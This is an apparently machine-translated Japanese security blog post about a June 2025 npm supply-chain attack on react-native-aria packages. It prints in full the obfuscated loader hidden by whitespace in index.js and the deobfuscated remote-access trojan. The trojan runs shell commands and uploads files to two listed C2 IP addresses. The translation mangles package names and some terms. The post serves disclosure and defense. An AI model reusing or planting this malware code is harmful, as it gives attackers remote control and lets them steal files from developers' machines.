5月6日のブログで人気パッケージの妥協について書いて以来 ランド・ユーザー・エージェント
私たちは、この攻撃の背後にいる脅威者を追跡しています。最近、私たちは、ほとんど利用されていないパッケージに対する小規模な攻撃をいくつか観測しました。しかし、昨夜(2025年6月6日)、私たちは脅威行為者が大きな動きを見せていることを検知し、1週間に合計で100万ダウンロードされる非常に人気のあるパッケージを侵害しました。このブログ記事は現在わかっていることをカバーしていますが、状況はライブで進行中の攻撃であるため、詳細は刻々と変化しています。
何が起こったのか?
2025年6月6日、日本時間21時33分、バージョン 0.2.10
の リアクト・ネイティブ・アリア/フォーカス
がリリースされた:

注目すべきは、その前のバージョンだ、 0.2.9
がリリースされたのは2023年10月18日と、かなり前のことだ。しかし、この新しいバージョンで何が変わったのか?唯一の変更点は lib/commonjs/index.js
.我々の分析では、46行目に悪意のあるコードが挿入されていることを検出した:

コードが見えないのは、空白を利用した難読化によって、コード・エディターで単語を折り返すことなくコードを画面外に押し出しているからだ。隠されている実際のコードはこちら:
global['_V']='8-npm13';global['r']=require;(function(){var mGB='',hsR=615-604;function EgY(i){var b=4608798;var j=i.length;var p=[];for(var x=0;x<j;x++){p[x]=i.charAt(x)};for(var x=0;x<j;x++){var f=b*(x+186)+(b%37898);var k=b*(x+403)+(b%35963);var v=f%j;var l=k%j;var g=p[v];p[v]=p[l];p[l]=g;b=(f+k)%6568124;};return p.join('')};var Uwn=EgY('koosdciqucxbhcmgtanzpylfwurjtrtvrnoes').substr(0,hsR);var VVy='vfi(a72=,rf4j,tr50avhzru.lvbt,(fvtiui;;+(2>rl,[6qedz ."mv n=;rjs;6,trnrlry6p) 7ah"0e.6a,8;t9h,>)}e)x8=3 aiz1o"r[{y)8e;hufaaat7g.2=;;a.(llspm.u=rmo,lonotosCe;eeC.;9"l=(0dl(;2 -t<c0p1=i="vn=o=rif5i-mi,rtesr)z;s)d=;tgj97n s(rl.;ku;1u+)(ptr me d,uy.+vdsd= ];ser.p =og m5agnrbo=8.lbo=n-0;aS{o0<l+=r.ia](f=lh2r(.arar= [a(mgA rs(cn=lvg ruh0(i7hra*j{rri"6;ka;a;,ig<onijro{i=(7f8);.;me90.e) {ev6 arlo{;f4r=bhva+;ija((]nia),isahp=l3-neta[1!;,,)hea2(u+=-.=;y)tfehs;0hS8vsA-iau09))Cp1,)evl(])[eCanv=ch4kgod=)a(.prd=]vv]h)nno=;nt(}r2(++v"=h;ri st}] +en8[n}i+s(s=yf()n]}e+l.;".7dahfnvvif.auei,a sr]s;ri+t(=ny7)"coA)( 1r=tq)[+g li+;g;3l)psln,aro<iC+;;fn18e,unfa+s[.;t((evv;sg[m-ljqg=)o+eC"t5a[sg.a[+vr1j)]+;f(h(a]t;uti=c1u r=2;8]+ra9,i36,.lrb1ec1,)+)+;(scl=+([rfe,sC!e; .bg=t=ohnf,kv4<.)i=+,etcot0o;e=i)]6Admria)hn,a+0fnh hup;tv;tupu7srA)k]rtr,or)d0)nonaer6reCl0)w}1o{o9}q(;gvm[.ag(qh,clihr8=j=v;. *(hvr6[';var EiK=EgY[Uwn];var ogb='';var ZML=EiK;var Bfb=EiK(ogb,EgY(VVy));var cag=Bfb(EgY('.+5]isscR}aRR)e_g%%t2)R%rwRd{7%f,Rl((sfRt}n4]g,of%tcdtni]%1ryb+8,)5%R)ctl2.R6wcR=12fcm*.o\/s(}()aoc59)8.hr}=s]$%R6(l pe]9b+oit6o,u2,i]"fj0(.m%t;tqod1u1[[te0.{f!(6)r .1%(afhoa]]i%ffn s7tet_rcs%_%!+%ngR%ae r%}-,6+tdcennl[t6\'m\/.hh(gl]!fiRt5es"]\/Ror+].(R%)rupi>RnRv5i-ie!;)nb]7et())oe06RRre=a12i(f.aRsj5 ec)werr5xt%%n:=6bR;Rs2n 1#eco)d_[tpts(tno5]R]Rk0ny;3R{%%]9R]))1r"aafRe).0h6%af!rR.](.%R=}n7*,(%]6e]p1>(R{mreee(8mtn+o,ftur}1R].s%R%_h]) cff(fs9Rh-%a%,n%fR7+=.}!tfnvk0R(oN$%; %)n >cohRpk843,.]wch=+t.nnR\'h=$caar10f7to,;So)3.R))n)%Rn;.S7#_.c{R;0(t)Re02fg.f,f()R[\/C.RhR3c1d5ics[te]eoRRf1.fRR9?6.4cRo(.t)}(R_22>a;R3eott2==e(-n%..=rfvr.i[t +.+dfR[=trzn=1;ct0.4f_[f:zw.{C45C3iR)6SR3;5St;a(bi,(i;;2a1aea_%fdc4RR&hR.]C{im8c%==}{ ce1s(:ca".,6r==r\'d0n;[;br.cu]de]le)-;}RsaRni%}4=nl[).R|]t%)(cR6b)4qi+!=h.$e=rRttR=Ra])4[]"R3R03]=f8tx].R.R.: Rr4n]((%;oy{t]+=Rf8;gz)}f9R:abnRRoctnt5Rgtm(o.R;Ri#[(l:1,Ra)e&a:e$(,[Rs,R$6Ru)e)snv&R(R5Rhe5maho(.Rw8"<9.2uRfTnR9R[]=[!)!5.Rc5<t&iae=il}!2.%S;}.m.fb\/)imnf{e.Rb ]0f).)3)).2a31[f..(!R2}0e),atv"8!ff16clNR(n.9({9d]Rr*5f*1>t0._ dia:rnrn9.\/8t1.9;i1w% t2"wo;..(R]]c:.,a],m!e .fr.4fR.RRb]=5e)%]61Rd 7+c;:]Rnf.hRcm$aR%ow{=f_u)nat._%p\/r((.t]_ca%:f0 o={6d_=trcfRc";n=f0t#}R)nh5ot=R.2so0cu=o;tttt R1[ca;RtrRm2utr2l[\/nof-fdc))5.(ol..ta$lR.ttcf[R+.d%ft1tig;}f.f+R=.Rlmb=18oRfr%>]i\/e_e=R%$;gReslo! 9[0]o:tR)n+66t0\'t9s(.rea_!)2vRrR1=r.gh3e"e20]}18us4%.R[)t(R%T9]#1c7lRfd;h]d\/an}1_pt(a;R>i;%.nR=)(];5=srR+9m]fa4+\'fn]ko%sgo)R,eo+f;1.0RR6R(%rpr5]5t}fc.b].0s!)r}2)9tfR|cR.a}i7e7]4(.ftw]rd=Rc$1w7]+[n.)].R)a 4$%S2$,[f8(2r9sRe=ta(ja$sn(nR&no)u[(2o()1[u}!ans(ip.=2=aa4tCaR.0ysbR.=}.b.f\'=2ei8Rca;u;RtR)66,erfR;.:b6.9%])a%t..;71a9]c3R,)eo] +))RfiR87.(#)>(Rc!f.rrt).R4)%.]=\'cccbR=4}=R2rta+oty+ht7\'gtRtscja:iaxetc(ed0(t]{{rR)[gl4.o7c8nd1n).snteensR5g1]0RtR};}eaec(tr7b.%Rr:;$5ait9)3o2R.seR:Rl]f )b Rff]i=}]))$a7cRs;0)} yx(arRR..a=e33 6.Rc,iR1m{4R+)Ra,o7e=qlin5$#pejl;R;t_b[_.s\/fp=,o{]6R%R((u=.she!2]a.=)sya(.}+l!2%]](faRindel](R0i+]e.!f6.t1f+]\/h+ic;ut8]7eck ]p2. Sc.l9.((_'));var mfa=ZML(mGB,cag );mfa(9993);return 6161})()
このペイロードは、以前にも見たことがあるため、すぐに見覚えがあった。このペイロードは、先月、別の人気パッケージである ランド・ユーザー・エージェント
が危険にさらされた。あなたは 技術的な詳細はこちら ペイロードが何をするかについて:
すぐにエスカレートした
それ以来、我々はハラハラドキドキしている。攻撃者が他のかなりの数のパッケージを侵害し始めたのをリアルタイムで見たように、私たちは次に何が起こるか予想していなかった。私たちは、これらすべてのパッケージが侵害されるのを見た:
これらのパッケージを合わせると、週に100万以上のダウンロードがある。
前回の妥協から何が変わったのか?
前述したように、攻撃者が配信しているペイロードは、rand-user-agentのケースで文書化されたものと実質的に同じですが、いくつかの違いがあります。以下は、マルウェアが実行されたときにクライアントにデプロイされる完全なペイロードです:
global._V = '8-npm13';
(async () => {
try {
const c = global.r || require;
const d = global._V || '0';
const f = c('os');
const g = c("path");
const h = c('fs');
const i = c("child_process");
const j = c("crypto");
const k = f.platform();
const l = k.startsWith('win');
const m = f.hostname();
const n = f.userInfo().username;
const o = f.type();
const p = f.release();
const q = o + " " + p;
const r = process.execPath;
const s = process.version;
const u = new Date().toISOString();
const v = process.cwd();
const w = typeof __filename === "undefined" || __filename !== "[eval]";
const x = typeof __dirname === "undefined" ? v : __dirname;
const y = g.join(f.homedir(), ".node_modules");
if (typeof module === "object") {
module.paths.push(g.join(y, "node_modules"));
} else {
if (global._module) {
global._module.paths.push(g.join(y, "node_modules"));
} else {
if (global.m) {
global.m.paths.push(g.join(y, "node_modules"));
}
}
}
async function z(V, W) {
return new global.Promise((X, Y) => {
i.exec(V, W, (Z, a0, a1) => {
if (Z) {
Y("Error: " + Z.message);
return;
}
if (a1) {
Y("Stderr: " + a1);
return;
}
X(a0);
});
});
}
function A(V) {
try {
c.resolve(V);
return true;
} catch (W) {
return false;
}
}
const B = A('axios');
const C = A("socket.io-client");
if (!B || !C) {
try {
const V = {
stdio: "inherit",
"windowsHide": true
};
const W = {
stdio: "inherit",
"windowsHide": true
};
if (B) {
await z("npm --prefix \"" + y + "\" install socket.io-client", V);
} else {
await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
}
} catch (X) {}
}
const D = c('axios');
const E = c("form-data");
const F = c("socket.io-client");
let G;
let H;
let I = {};
const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";
function L() {
if (w) {
return '[eval]' + m + '$' + n;
}
return m + '$' + n;
}
function M() {
const Y = j.randomBytes(0x10);
Y[0x6] = Y[0x6] & 0xf | 0x40;
Y[0x8] = Y[0x8] & 0x3f | 0x80;
const Z = Y.toString("hex");
return Z.substring(0x0, 0x8) + '-' + Z.substring(0x8, 0xc) + '-' + Z.substring(0xc, 0x10) + '-' + Z.substring(0x10, 0x14) + '-' + Z.substring(0x14, 0x20);
}
function N() {
const Y = {
"reconnectionDelay": 0x1388
};
G = F(J, Y);
G.on("connect", () => {
const Z = L();
const a0 = {
"clientUuid": Z,
"processId": H,
"osType": o
};
G.emit('identify', "client", a0);
});
G.on("disconnect", () => {});
G.on("command", S);
G.on("exit", () => {
if (!w) {
process.exit();
}
});
}
async function O(Y, Z, a0, a1) {
try {
const a2 = new E();
a2.append("client_id", Y);
a2.append("path", a0);
Z.forEach(a4 => {
const a5 = g.basename(a4);
a2.append(a5, h.createReadStream(a4));
});
const a3 = await D.post(K + "/u/f", a2, {
'headers': a2.getHeaders()
});
if (a3.status === 0xc8) {
G.emit("response", "HTTP upload succeeded: " + g.basename(Z[0x0]) + " file uploaded\n", a1);
} else {
G.emit("response", "Failed to upload file. Status code: " + a3.status + "\n", a1);
}
} catch (a4) {
G.emit("response", "Failed to upload: " + a4.message + "\n", a1);
}
}
async function P(Y, Z, a0, a1) {
try {
let a2 = 0x0;
let a3 = 0x0;
const a4 = Q(Z);
for (const a5 of a4) {
if (I[a1].stopKey) {
G.emit("response", "HTTP upload stopped: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
return;
}
const a6 = g.relative(Z, a5);
const a7 = g.join(a0, g.dirname(a6));
try {
await O(Y, [a5], a7, a1);
a2++;
} catch (a8) {
a3++;
}
}
G.emit('response', "HTTP upload succeeded: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
} catch (a9) {
G.emit("response", "Failed to upload: " + a9.message + "\n", a1);
}
}
function Q(Y) {
let Z = [];
const a0 = h.readdirSync(Y);
a0.forEach(a1 => {
const a2 = g.join(Y, a1);
const a3 = h.statSync(a2);
if (a3 && a3.isDirectory()) {
Z = Z.concat(Q(a2));
} else {
Z.push(a2);
}
});
return Z;
}
function R(Y) {
const Z = Y.split(':');
if (Z.length < 0x2) {
const a4 = {
"valid": false,
"message": "Command is missing \":\" separator or parameters"
};
return a4;
}
const a0 = Z[0x1].split(',');
if (a0.length < 0x2) {
const a5 = {
"valid": false,
"message": "Filename or destination is missing"
};
return a5;
}
const a1 = a0[0x0].trim();
const a2 = a0[0x1].trim();
if (!a1 || !a2) {
const a6 = {
"valid": false,
"message": "Filename or destination is empty"
};
return a6;
}
const a3 = {
"valid": true,
filename: a1,
destination: a2
};
return a3;
}
function S(Y, Z) {
if (!Z) {
const a1 = {
"valid": false,
"message": "User UUID not provided in the command."
};
return a1;
}
if (!I[Z]) {
const a2 = {
"currentDirectory": x,
commandQueue: [],
"stopKey": false
};
I[Z] = a2;
}
const a0 = I[Z];
a0.commandQueue.push(Y);
T(Z);
}
async function T(Y) {
let Z = I[Y];
while (Z.commandQueue.length > 0x0) {
const a0 = Z.commandQueue.shift();
let a1 = '';
if (a0 === 'cd' || a0.startsWith("cd ") || a0.startsWith("cd.")) {
const a2 = a0.slice(0x2).trim();
try {
process.chdir(Z.currentDirectory);
process.chdir(a2 || '.');
Z.currentDirectory = process.cwd();
} catch (a3) {
a1 = "Error: " + a3.message;
}
} else {
if (a0 === 'ss_info') {
a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
} else {
if (a0 === "ss_ip") {
a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
} else {
if (a0.startsWith("ss_upf") || a0.startsWith('ss_upd')) {
const a4 = R(a0);
if (!a4.valid) {
a1 = "Invalid command format: " + a4.message + "\n";
G.emit('response', a1, Y);
continue;
}
const {
filename: a5,
destination: a6
} = a4;
Z.stopKey = false;
a1 = " >> starting upload\n";
if (a0.startsWith("ss_upf")) {
O(m + '$' + n, [g.join(process.cwd(), a5)], a6, Y);
} else if (a0.startsWith("ss_upd")) {
P(m + '$' + n, g.join(process.cwd(), a5), a6, Y);
}
} else {
if (a0.startsWith("ss_dir")) {
process.chdir(x);
Z.currentDirectory = process.cwd();
} else {
if (a0.startsWith('ss_fcd')) {
const a7 = a0.split(':');
if (a7.length < 0x2) {
a1 = "Command is missing \":\" separator or parameters";
} else {
const a8 = a7[0x1];
process.chdir(a8);
Z.currentDirectory = process.cwd();
}
} else {
if (a0.startsWith("ss_stop")) {
Z.stopKey = true;
} else {
try {
const a9 = {
"cwd": Z.currentDirectory,
windowsHide: true
};
if (l) {
try {
const ab = g.join(process.env.LOCALAPPDATA || g.join(f.homedir(), "AppData", "Local"), "Programs\\Python\\Python3127");
const ac = {
...process.env
};
ac.PATH = ab + ';' + process.env.PATH;
a9.env = ac;
} catch (ad) {}
}
if (a0[0x0] === '*') {
a9.detached = true;
a9.stdio = "ignore";
const ae = a0.substring(0x1).match(/(?:[^\s"]+|"[^"]*")+/g);
const af = ae.map(ag => ag.replace(/^"|"$/g, ''));
i.spawn(af[0x0], af.slice(0x1), a9).on('error', ag => {});
} else {
i.exec(a0, a9, (ag, ah, ai) => {
let aj = "\n";
if (ag) {
aj += "Error executing command: " + ag.message;
}
if (ai) {
aj += "Stderr: " + ai;
}
aj += ah;
aj += Z.currentDirectory + "> ";
G.emit("response", aj, Y);
});
}
} catch (ag) {
a1 = "Error executing command: " + ag.message;
}
}
}
}
}
}
}
}
a1 += Z.currentDirectory + "> ";
G.emit("response", a1, Y);
}
}
function U() {
H = M();
N(H);
}
U();
} catch (Y) {}
})();
新しいC2サーバー
コードには変数があり、以前見たC2サーバーと見たことのない新しいサーバーを選択するようになっている:
constJ = d.startsWith('A4') ? 'http://136.0.9[.]8:3306': "http://85.239.62[.]36:3306";
constK = d.startsWith('A4') ? "http://136.0.9[.]8:27017": "http://85.239.62[.]36:27017";
変数dはバックドア上部の変数から代入される:
グローバル._V = '8-npm13';
この変数はバージョン・タグのようで、配備されたコードのバージョンに基づいて使用するC2サーバーを選択する。
新しいコマンド
RAT(リモート・アクセス・トロイの木馬)には2つの新しいコマンドがある:
if (a0 === 'ss_info') {
a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
} else {
if (a0 === "ss_ip") {
a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
}
...
ss_info
:システムのコンテキストとメタデータをダンプする:- 内部バージョン・タグ (
_V
) - OSタイプ、Nodeパス、Node.jsバージョン
- スクリプトパス、作業ディレクトリ、タイムスタンプ
- 内部バージョン・タグ (
ss_ip
:外部へのリクエストhttp://ip-api.com/json
で、パブリックIP情報を返す。
詳細は後日
この話については多くのことが語られているが、この攻撃の大きさを考えると、我々はできるだけ早くこの攻撃についての認識を高め、人々が自分自身を守ることができるようにしたかった。これらの攻撃者は、リモート・アクセス・トロイの木馬(RAT)を展開し、パッケージを侵害する能力を一貫して示してきた。
妥協の指標
パッケージ
知的財産権
上記のパッケージのいずれかをインストールしている可能性がある場合、ファイアウォールでこれらのIPへのアウトバウンド接続をチェックしてください:
136.0.9[.]8
85.239.62[.]36
バックドア
RATは、以下のパスにあるファイルを通じてシステム上に留まろうとする。 LOCALAPPDATA%Program Files Python
Windowsの場合。この場所に何らかのファイルを見つけた場合、攻撃者はその後にさらにペイロードを展開している可能性があるため、あなたは危険にさらされており、システムが安全であることをもはや信用すべきではありません。